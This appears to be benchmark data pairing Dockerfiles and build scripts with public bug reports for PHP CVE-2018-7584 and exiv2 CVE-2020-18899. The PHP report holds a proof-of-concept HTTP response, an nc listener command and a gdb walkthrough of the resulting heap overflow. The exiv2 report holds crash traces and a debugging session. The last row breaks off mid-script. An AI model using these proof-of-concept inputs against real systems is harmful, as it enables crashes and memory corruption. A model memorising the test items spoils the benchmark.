RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 1f4b057b631f9c9672cfd180090d8f52197bf806
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=75981
## Description:
PHP Bug ID: 75981
Summary: stack-buffer-overflow while parsing HTTP response
Status: Closed
PHP Version: 5.6.33
Assigned: stas (profile)
CVE-ID: 2018-7584
Description:
Description:
------------
The latest PHP distributions contain a memory corruption bug while parsing malformed HTTP response packets. Vulnerable code at:
php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723
if (tmp_line[tmp_line_len - 1] == '\n') {
--tmp_line_len;
if (tmp_line[tmp_line_len - 1] == '\r') {
--tmp_line_len;
}
}
If the proceeding buffer contains '\r' as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go do -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed.
$ bin/php --version
PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
Test script:
---------------
$ xxd -g 1 poc
0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a 000000000100..
$ nc -vvlp 8080 < poc
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083)
GET / HTTP/1.0
Host: localhost:8080
Connection: close
$ bin/php -r 'file_get_contents("http://localhost:8080");'
Expected result:
----------------
NO CRASH
Actual result:
--------------
$ bin/php -r 'file_get_contents("http://localhost:8080");'
=================================================================
==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac
READ of size 1 at 0xbfc038ef thread T0
#0 0x8aa393a in php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723
#1 0x8aa61fb in php_stream_url_wrap_http /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:979
#2 0x8b8b115 in _php_stream_open_wrapper_ex /home/weilei/php-7.2.2/main/streams/streams.c:2027
#3 0x8918dc0 in zif_file_get_contents /home/weilei/php-7.2.2/ext/standard/file.c:550
#4 0x867993a in phar_file_get_contents /home/weilei/php-7.2.2/ext/phar/func_interceptors.c:224
#5 0x91ee267 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:573
#6 0x91ee267 in execute_ex /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:59731
#7 0x923c13c in zend_execute /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:63760
#8 0x8cba975 in zend_eval_stringl /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1082
#9 0x8cbaf66 in zend_eval_stringl_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1123
#10 0x8cbb06b in zend_eval_string_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1134
#11 0x9244455 in do_cli /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1042
#12 0x9246b37 in main /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1404
#13 0xb5e8ca82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
#14 0x80656d0 in _start (/home/weilei/php7_asan/bin/php+0x80656d0)
Address 0xbfc038ef is located at offset 607 in frame <php_stream_url_wrap_http_ex> of T0's stack:
This frame has 13 object(s):
[32, 36) 'transport_string'
[96, 100) 'errstr'
[160, 164) 'http_header_line_length'
[224, 232) 'timeout'
[288, 296) 'req_buf'
[352, 360) 'tmpstr'
[416, 432) 'ssl_proxy_peer_name'
[480, 496) 'http_header'
[544, 576) 'buf'
[608, 736) 'tmp_line'
[768, 1792) 'location'
[1824, 2848) 'new_path'
[2880, 3904) 'loc_path'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 php_stream_url_wrap_http_ex
Shadow bytes around the buggy address:
0x37f806c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x37f806d0: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4
0x37f806e0: f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4
0x37f806f0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4
0x37f80700: f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 f2 f2 00 00
=>0x37f80710: f4 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00
0x37f80720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2
0x37f80730: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x37f80740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x37f80750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x37f80760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap righ redzone: fb
Freed Heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==26249== ABORTING
Aborted
Comments:
[Comment 1] [2018-02-20 23:05 UTC] [email protected]
Yep, seems to be a bug, tmp_line_len is not checked before taking -1, and in fact from code above (in switch) it looks like it can very well be zero when we are using tmp_line_len - 1.
[Comment 2] [2018-02-20 23:47 UTC] [email protected]
The fix is in security repo as 36239fee3638a8f4cfe3ca3aba597cb1699abd90 and in https://gist.github.com/2b41efaf052435efb511f499769fc023
Please verify.
Links: https://gist.github.com/2b41efaf052435efb511f499769fc023
[Comment 3] [2018-02-21 02:06 UTC] l dot wei at ntu dot edu dot sg
The length check works for my repros. I've been using a weaker check - only to the '\r' line, it seems also working fine, due to the php_stream_{eof, get_line} guarding the block. The OOB access occurred when tmp_line_len is 0 at the '\r' strip check.
Please credit to:
Wei Lei and Liu Yang of Nanyang Technological University.
Thanks for the quick fix!
[Comment 6] [2018-03-06 05:05 UTC] l dot wei at ntu dot edu dot sg
The bug can be manipulated to achieve an unbounded memcpy from the stack to a small heap buffer. On Linux, this would result in a DoS when the src of memcpy reaches stack top; on Windows, control flow hijacking may be possible if a SIGSEGV handler can be overwritten before the memcpy crashes once reaching stack or heap boundary.
*** To overcome the web-bugs spam filter, replaced all "http://" to "hxxp://" below. Life is hard.. ***
$ nc -vvlp 8888 < poc
$ gdb --args bin/php -r 'file_get_contents("hxxp://localhost:8888");'
(gdb) b main
Breakpoint 1 at 0x865ef67: file /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c, line 1216.
(gdb) r
Starting program: /home/weilei/php7_gdb/bin/php -r file_get_contents\(\"hxxp://localhost:8888\"\)\;
Breakpoint 1, main (argc=3, argv=0xbfffe9c4) at /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c:1216
1216 int exit_status = SUCCESS;
(gdb) b http_fopen_wrapper.c:721
Breakpoint 2 at 0x8424276: file /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c, line 721.
(gdb) c
Continuing.
Breakpoint 2, php_stream_url_wrap_http_ex (wrapper=0x8d5c0ac <php_stream_http_wrapper>, path=0x8e7cb20 "http://localhost:8888", mode=0x8c4a516 "rb", options=0, opened_path=0x0, context=0x8e74970,
redirect_max=20, flags=1, response_header=0xbfffb9b0) at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:721
721 if (tmp_line[tmp_line_len - 1] == '\n') {
(gdb) x/10wx tmp_line
0xbfffaccc: 0x3030000a 0x30303030 0x30303130 0x0000000a
0xbfffacdc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffacec: 0x00000000 0x00000000
// *** Pre-condition of the large copy: tmp_line[-1] == 0x0d
// With the zend allocator, it is relatively easier to control the value of tmp_line[-1] to be '\r':
722 --tmp_line_len;
(gdb) p tmp_line_len
$2 = 1
(gdb) n
723 if (tmp_line[tmp_line_len - 1] == '\r') {
(gdb) p tmp_line_len
$3 = 0
// If customised heap allocator is configured for the PHP build, more investigation is needed.
// On both Linux and Windows, the default configuration is the Zend allocator. For now:
(gdb) set *((char*)tmp_line - 1) = '\r'
(gdb) x/10bx tmp_line
0xbfffaccc: 0x0a 0x00 0x30 0x30 0x30 0x30 0x30 0x30
0xbfffacd4: 0x30 0x31
(gdb) x/10bx tmp_line - 8
0xbfffacc4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x0d
0xbfffaccc: 0x0a 0x00
(gdb) n
724 --tmp_line_len;
(gdb) n
727 ZVAL_STRINGL(&http_response, tmp_line, tmp_line_len);
(gdb) p/x tmp_line_len
$5 = 0xffffffff
// http_response is a new zval structure declared on the stack, step into line 727
// a zend_string will be allocated, due to addition of a header and subsequent calls
// to _ZSTR_STRUCT_SIZE(len) and ZEND_MM_ALIGNED_SIZE(), the allocation size wraps to
// 16 bytes on the heap.
(gdb) s
zend_string_init (persistent=0, len=4294967295, str=0xbfffaccc "\n") at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:727
727 ZVAL_STRINGL(&http_response, tmp_line, tmp_line_len);
(gdb) s
zend_string_alloc (persistent=0, len=4294967295) at /home/weilei/php-7.2.2-release/Zend/zend_string.h:134
134 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
(gdb) p len
$9 = 4294967295
(gdb) s
_emalloc (size=16) at /home/weilei/php-7.2.2-release/Zend/zend_alloc.c:2425
2425 if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
(gdb) s
2429 return AG(mm_heap)->custom_heap.std._malloc(size);
(gdb) p size
$10 = 16
(gdb) finish
Run till exit from #0 _emalloc (size=16) at /home/weilei/php-7.2.2-release/Zend/zend_alloc.c:2429
0x08424336 in zend_string_alloc (persistent=0, len=4294967295) at /home/weilei/php-7.2.2-release/Zend/zend_string.h:134
134 zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
Value returned is $11 = (void *) 0x8e7cf80
// after a few source line stepping:
(gdb) n
172 memcpy(ZSTR_VAL(ret), str, len);
(gdb) p len
$17 = 4294967295
(gdb) p/x *ret
$18 = {gc = {refcount = 0x1, u = {v = {type = 0x6, flags = 0x0, gc_info = 0x0}, type_info = 0x6}}, h = 0x0, len = 0xffffffff, val = {0x18}}
(gdb) x/s str
0xbfffaccc: "\n"
(gdb) s
__memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:111
111 ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S: No such file or directory.
(gdb) bt
#0 __memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:111
#1 0x084243bf in zend_string_init (persistent=0, len=4294967295, str=0xbfffaccc "\n") at /home/weilei/php-7.2.2-release/Zend/zend_string.h:172
#2 php_stream_url_wrap_http_ex (wrapper=0x8d5c0ac <php_stream_http_wrapper>, path=0x8e7cb20 "hxxp://localhost:8888", mode=0x8c4a516 "rb", options=0, opened_path=0x0, context=0x8e74970, redirect_max=20,
flags=1, response_header=0xbfffb9b0) at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:727
#3 0x08425594 in php_stream_url_wrap_http (wrapper=0x8d5c0ac <php_stream_http_wrapper>, path=0x8e7cb20 "hxxp://localhost:8888", mode=0x8c4a516 "rb", options=0, opened_path=0x0, context=0x8e74970)
at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:979
#4 0x0847b77f in _php_stream_open_wrapper_ex (path=0x8e7cb20 "hxxp://localhost:8888", mode=0x8c4a516 "rb", options=8, opened_path=0x0, context=0x8e74970)
at /home/weilei/php-7.2.2-release/main/streams/streams.c:2027
#5 0x08388a60 in zif_file_get_contents (execute_data=0xb79ed068, return_value=0xbfffd300) at /home/weilei/php-7.2.2-release/ext/standard/file.c:550
#6 0x082a42d0 in phar_file_get_contents (execute_data=0xb79ed068, return_value=0xbfffd300) at /home/weilei/php-7.2.2-release/ext/phar/func_interceptors.c:224
#7 0x08647e4a in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /home/weilei/php-7.2.2-release/Zend/zend_vm_execute.h:573
#8 execute_ex (ex=0xb79ed028) at /home/weilei/php-7.2.2-release/Zend/zend_vm_execute.h:59731
#9 0x0865b6a9 in zend_execute (op_array=0x8e7cb40, return_value=0xbfffd474) at /home/weilei/php-7.2.2-release/Zend/zend_vm_execute.h:63760
#10 0x084da344 in zend_eval_stringl (str=0x8d859a0 "file_get_contents(\"hxxp://localhost:8888\");", str_len=43, retval_ptr=0x0, string_name=0x8cdc728 "Command line code")
at /home/weilei/php-7.2.2-release/Zend/zend_execute_API.c:1082
#11 0x084da53e in zend_eval_stringl_ex (str=0x8d859a0 "file_get_contents(\"hxxp://localhost:8888\");", str_len=43, retval_ptr=0x0, string_name=0x8cdc728 "Command line code", handle_exceptions=1)
at /home/weilei/php-7.2.2-release/Zend/zend_execute_API.c:1123
#12 0x084da5a6 in zend_eval_string_ex (str=0x8d859a0 "file_get_contents(\"hxxp://localhost:8888\");", retval_ptr=0x0, string_name=0x8cdc728 "Command line code", handle_exceptions=1)
at /home/weilei/php-7.2.2-release/Zend/zend_execute_API.c:1134
#13 0x0865e5e0 in do_cli (argc=3, argv=0x8d85950) at /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c:1042
#14 0x0865f53c in main (argc=3, argv=0x8d85950) at /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c:1404
(gdb) x/8wx $esp
0xbfffa4cc: 0x084243bf 0x08e7cf90 0xbfffaccc 0xffffffff
0xbfffa4dc: 0xbfffa59c 0x00000000 0xbfffac9c 0x08e74970
// would result in memcpy(0x08e7cf90, 0xbfffaccc, 0xffffffff);
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
__memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1284
1284 in ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S
(gdb) info reg
eax 0xbfffffec -1073741844
ecx 0xffffac5f -21409
edx 0x8e822b0 149430960
ebx 0xb7e02000 -1210048512
esp 0xbfffa4c8 0xbfffa4c8
ebp 0xbfffb968 0xbfffb968
esi 0xb79ed028 -1214328792
edi 0x8e7cc20 149408800
eip 0xb7d8c497 0xb7d8c497 <__memcpy_ssse3_rep+3431>
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/10i $eip
=> 0xb7d8c497 <__memcpy_ssse3_rep+3431>: movdqu 0x10(%eax),%xmm1
0xb7d8c49c <__memcpy_ssse3_rep+3436>: movdqu 0x20(%eax),%xmm2
0xb7d8c4a1 <__memcpy_ssse3_rep+3441>: movdqu 0x30(%eax),%xmm3
0xb7d8c4a6 <__memcpy_ssse3_rep+3446>: movdqu 0x40(%eax),%xmm4
0xb7d8c4ab <__memcpy_ssse3_rep+3451>: movdqu 0x50(%eax),%xmm5
0xb7d8c4b0 <__memcpy_ssse3_rep+3456>: movdqu 0x60(%eax),%xmm6
0xb7d8c4b5 <__memcpy_ssse3_rep+3461>: movdqu 0x70(%eax),%xmm7
0xb7d8c4ba <__memcpy_ssse3_rep+3466>: lea 0x80(%eax),%eax
0xb7d8c4c0 <__memcpy_ssse3_rep+3472>: lfence
0xb7d8c4c3 <__memcpy_ssse3_rep+3475>: sub $0x80,%ecx
Links: http://"/, http://localhost:8888"
[Comment 7] [2018-03-07 09:33 UTC] l dot wei at ntu dot edu dot sg
Correction: the tmp_line[] array is on the stack, hence the pre-condition is determined by attacker's ability to control the byte tmp_line[-1] on stack. Under an -O0 build of PHP-7.2.2 on Ubuntu Linux, the preceding buffer of tmp_line is a zval structure of 16 bytes, defined in Zend/zend_types.h :
struct _zval_struct {
zend_value value; /* value */
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar type, /* active type */
zend_uchar type_flags,
zend_uchar const_flags,
zend_uchar reserved) /* call info for EX(This) */
} v;
uint32_t type_info;
} u1;
union {
uint32_t next; /* hash collision chain */
uint32_t cache_slot; /* literal cache slot */
uint32_t lineno; /* line number (for ast nodes) */
uint32_t num_args; /* arguments number for EX(This) */
uint32_t fe_pos; /* foreach position */
uint32_t fe_iter_idx; /* foreach iterator index */
uint32_t access_flags; /* class constant access flags */
uint32_t property_guard; /* single property guard */
uint32_t extra; /* not further specified */
} u2;
};
The zval structure for http_response declared in http_fopen_wrapper.c :
668 if (php_stream_get_line(stream, tmp_line, sizeof(tmp_line) - 1, &tmp_line_len) != NULL) {
669 zval http_response;
670
671 if (tmp_line_len > 9) {
672 response_code = atoi(tmp_line + 9);
673 } else {
674 response_code = 0;
675 }
676 if (context && NULL != (tmpzval = php_stream_context_get_option(context, "http", "ignore_errors"))) {
677 ignore_errors = zend_is_true(tmpzval);
678 }
SInce the zval structure is not initialized yet before the pre-condition check at line 723 and initialization of http_response at line 727:
721 if (tmp_line[tmp_line_len - 1] == '\n') {
722 --tmp_line_len;
723 if (tmp_line[tmp_line_len - 1] == '\r') {
724 --tmp_line_len;
725 }
726 }
727 ZVAL_STRINGL(&http_response, tmp_line, tmp_line_len);
We can conclude that the byte at tmp_line[-1] is located on uninitialized stack, therefore an attacker can control this byte by preparing additional calls to flush the byte to '\x0d' before triggering this vulnerability to arrive at an unbounded heap overflow.
[Comment 8] [2018-04-16 13:33 UTC] mimipim at abv dot bg
It seem to be still active bug. However I am unable to provide any useful information at this time.
[Comment 9] [2018-04-16 16:10 UTC] [email protected]
Could you explain what you mean by "active bug"? Can you still reproduce the issue with the fix applied? If so, please provide reproduction scenario.
Commit References:
36239fee3638a8f4cfe3ca3aba597cb1699abd90
|
[] |
[
{
"sha": "523f230c831d7b33353203fa34aee4e92ac12bba",
"url": "https://github.com/php/php-src/commit/523f230c831d7b33353203fa34aee4e92ac12bba"
},
{
"sha": "36239fee3638a8f4cfe3ca3aba597cb1699abd90",
"url": "https://github.com/php/php-src/commit/36239fee3638a8f4cfe3ca3aba597cb1699abd90"
}
] |
exiv2.cve-2020-18899
|
exiv2/exiv2
|
62826516778b96da5ddb38f5ec1499dc76994a6f
| 2018-12-20T04:09:32
|
exiv2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils
RUN git clone https://github.com/exiv2/exiv2 exiv2
RUN git -C exiv2 checkout 62826516778b96da5ddb38f5ec1499dc76994a6f
WORKDIR $SRC/exiv2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" ..
make -j $(nproc)
|
/src/exiv2
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/Exiv2/exiv2/issues/742
## Description:
Issue: Exiv2/exiv2#742
Title: [bug report] Program crash due to uncontrolled memory allocation on function DataBuf data(subBox.length-sizeof(box))
State: closed
Created by: wcventure
Created at: 2019-03-13 12:11:16+00:00
Labels: bug
Issue Body:
Hi there,
An issue was discovered in DataBuf data(subBox.length-sizeof(box)) function in image.cpp, as distributed in master and version 0.27. There is an uncontrolled memory allocation problem, leading to a program crash. I have also confirmed this issue by using addressSanitizer.
Here is the POC file. Please use the “./exiv2 -pX $POC” to reproduce the bug.
[POC.zip](https://github.com/Exiv2/exiv2/files/2961347/POC.zip)
```
subBox.length = getLong((byte*)&subBox.length, bigEndian);
subBox.type = getLong((byte*)&subBox.type, bigEndian);
// subBox.length makes no sense if it is larger than the rest of the file
if (subBox.length > io_->size() - io_->tell()) {
throw Error(kerCorruptedMetadata);
}
DataBuf data(subBox.length-sizeof(box));
io_->read(data.pData_,data.size_);
```
The ASAN dumps the stack trace as follows:
```
==9819==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffff bytes
=================================================================
==9819==ERROR: AddressSanitizer: unknown-crash on address 0xffffffffffffffff at pc 0x0000004a9325 bp 0x7fffe470cec0 sp 0x7fffe470c670
WRITE of size 18446744073709551615 at 0xffffffffffffffff thread T0
#0 0x4a9324 in __asan_memset (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4a9324)
#1 0x7f3986594f9c in Exiv2::DataBuf::DataBuf(long) /home/wencheng/Documents/FuzzingObject/exiv2/src/types.cpp:141:42
#2 0x7f39864b354c in Exiv2::Jp2Image::printStructure(std::ostream&, Exiv2::PrintStructureOption, int) /home/wencheng/Documents/FuzzingObject/exiv2/src/jp2image.cpp:506:37
#3 0x53fa0d in (anonymous namespace)::printStructure(std::ostream&, Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:2368:9
#4 0x5400f2 in Action::setModeAndPrintStructure(Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:237:16
#5 0x5400f2 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:256
#6 0x4f42f5 in main /home/wencheng/Documents/FuzzingObject/exiv2/src/exiv2.cpp:172:23
#7 0x7f3984e1982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#8 0x41f0a8 in _start (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x41f0a8)
==9819==AddressSanitizer CHECK failed: /build/llvm-toolchain-3.8-_PD09B/llvm-toolchain-3.8-3.8/projects/compiler-rt/lib/asan/asan_report.cc:354 "((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
#0 0x4c87dd in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4c87dd)
#1 0x4cf403 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4cf403)
#2 0x4c3f9b in __asan::DescribeAddress(unsigned long, unsigned long, char const*) (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4c3f9b)
#3 0x4c4480 in __asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) [clone .part.18] (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4c4480)
#4 0x4a9346 in __asan_memset (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x4a9346)
#5 0x7f3986594f9c in Exiv2::DataBuf::DataBuf(long) /home/wencheng/Documents/FuzzingObject/exiv2/src/types.cpp:141:42
#6 0x7f39864b354c in Exiv2::Jp2Image::printStructure(std::ostream&, Exiv2::PrintStructureOption, int) /home/wencheng/Documents/FuzzingObject/exiv2/src/jp2image.cpp:506:37
#7 0x53fa0d in (anonymous namespace)::printStructure(std::ostream&, Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:2368:9
#8 0x5400f2 in Action::setModeAndPrintStructure(Exiv2::PrintStructureOption, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:237:16
#9 0x5400f2 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/wencheng/Documents/FuzzingObject/exiv2/src/actions.cpp:256
#10 0x4f42f5 in main /home/wencheng/Documents/FuzzingObject/exiv2/src/exiv2.cpp:172:23
#11 0x7f3984e1982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#12 0x41f0a8 in _start (/home/wencheng/Documents/FuzzingObject/exiv2/build/bin/exiv2+0x41f0a8)
```
Comments:
Comment by wcventure on 2019-03-13 12:14:30+00:00:
I also use gdb to debug the program, I will show you the process.
```
$ gdb --args ./exiv2 -pX ./POC
(gdb) b jp2image.cpp:499
Breakpoint 1 (jp2image.cpp:499) pending.
(gdb) start
Temporary breakpoint 2 at 0x413463: file /exiv2/src/exiv2.cpp, line 132.
Starting program: /exiv2/build/bin/exiv2 -pX ../../../exiv2/Fuzzing/out_pX/crashes/id:000001,sig:06,src:000013,op:int32,pos:20,val:+0
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Temporary breakpoint 2, main (argc=3, argv=0x7fffffffdf68) at /exiv2/src/exiv2.cpp:132
132 {
(gdb) c
Continuing.
Breakpoint 1, Exiv2::Jp2Image::printStructure (this=0x65eea0, out=..., option=Exiv2::kpsXMP, depth=0)
at /exiv2/src/jp2image.cpp:499
499 subBox.length = getLong((byte*)&subBox.length, bigEndian);
(gdb) p subBox.length
$1 = 0
(gdb) n
500 subBox.type = getLong((byte*)&subBox.type, bigEndian);
(gdb) p subBox.type
$2 = 4286578432
(gdb) n
503 if (subBox.length > io_->size() - io_->tell()) {
(gdb) p io_->size() - io_->tell()
$3 = 56
(gdb) p subBox.length
$4 = 0
(gdb) n
506 DataBuf data(subBox.length-sizeof(box));
(gdb) p subBox.length-sizeof(box)
$5 = 4294967288
```
you can see that in `p subBox.length-sizeof(box)`,
`$5 = 4294967288`
The DataBuf data() try to consume too much memory, leading to program crash.
The normal output is
```
$ ./exiv2 -pX ./POC
Uncaught exception: std::bad_alloc
```
---
Comment by D4N on 2019-03-13 12:35:43+00:00:
Thanks for the report, that is indeed a nasty bug.
Looks like an integer overflow as the input is not scrubbed. It's unlikely though that I'll be able to tackle this before #740 is done & merged, as the code where you found the issue is not really covered by tests.
---
Comment by piponazo on 2019-03-20 21:41:19+00:00:
I will investigate the issue. It is also reproducible on Windows+MSVC
Attachments:
https://github.com/Exiv2/exiv2/files/2961347/POC.zip
|
[] |
[
{
"sha": "e93c3728252cd4b673ad5462c6d750380d35b299",
"url": "https://github.com/Exiv2/exiv2/commit/e93c3728252cd4b673ad5462c6d750380d35b299"
},
{
"sha": "c0bedb928a572ebf8b1f4c603a05d8a5f85cc43b",
"url": "https://github.com/Exiv2/exiv2/commit/c0bedb928a572ebf8b1f4c603a05d8a5f85cc43b"
},
{
"sha": "b9cd1d864fb573b4615f54c779a263e48c467530",
"url": "https://github.com/Exiv2/exiv2/commit/b9cd1d864fb573b4615f54c779a263e48c467530"
},
{
"sha": "051b5d9df1f4669117937b7a40104404cc252993",
"url": "https://github.com/Exiv2/exiv2/commit/051b5d9df1f4669117937b7a40104404cc252993"
},
{
"sha": "1bdd3eab5ebdde324dbfecc3fb6d6495b32d2e4d",
"url": "https://github.com/Exiv2/exiv2/commit/1bdd3eab5ebdde324dbfecc3fb6d6495b32d2e4d"
},
{
"sha": "39d8904696338d5bd4a9c7e9a96a798a791d0973",
"url": "https://github.com/Exiv2/exiv2/commit/39d8904696338d5bd4a9c7e9a96a798a791d0973"
},
{
"sha": "dc0b6608d92b062eda05d63027967a3b6552fdc4",
"url": "https://github.com/Exiv2/exiv2/commit/dc0b6608d92b062eda05d63027967a3b6552fdc4"
}
] |
mruby.cve-2022-1201
|
mruby/mruby
|
d1f1b4ea38cd5a2a9d0b2aa3547d4f2828180299
| 2022-04-01T01:02:39
|
mruby
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential ruby bison ninja-build cmake zlib1g-dev libbz2-dev liblzma-dev
RUN git clone https://github.com/mruby/mruby mruby
RUN git -C mruby checkout d1f1b4ea38cd5a2a9d0b2aa3547d4f2828180299
WORKDIR $SRC/mruby
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/mruby
export LD=$CC
export LDFLAGS="$CFLAGS"
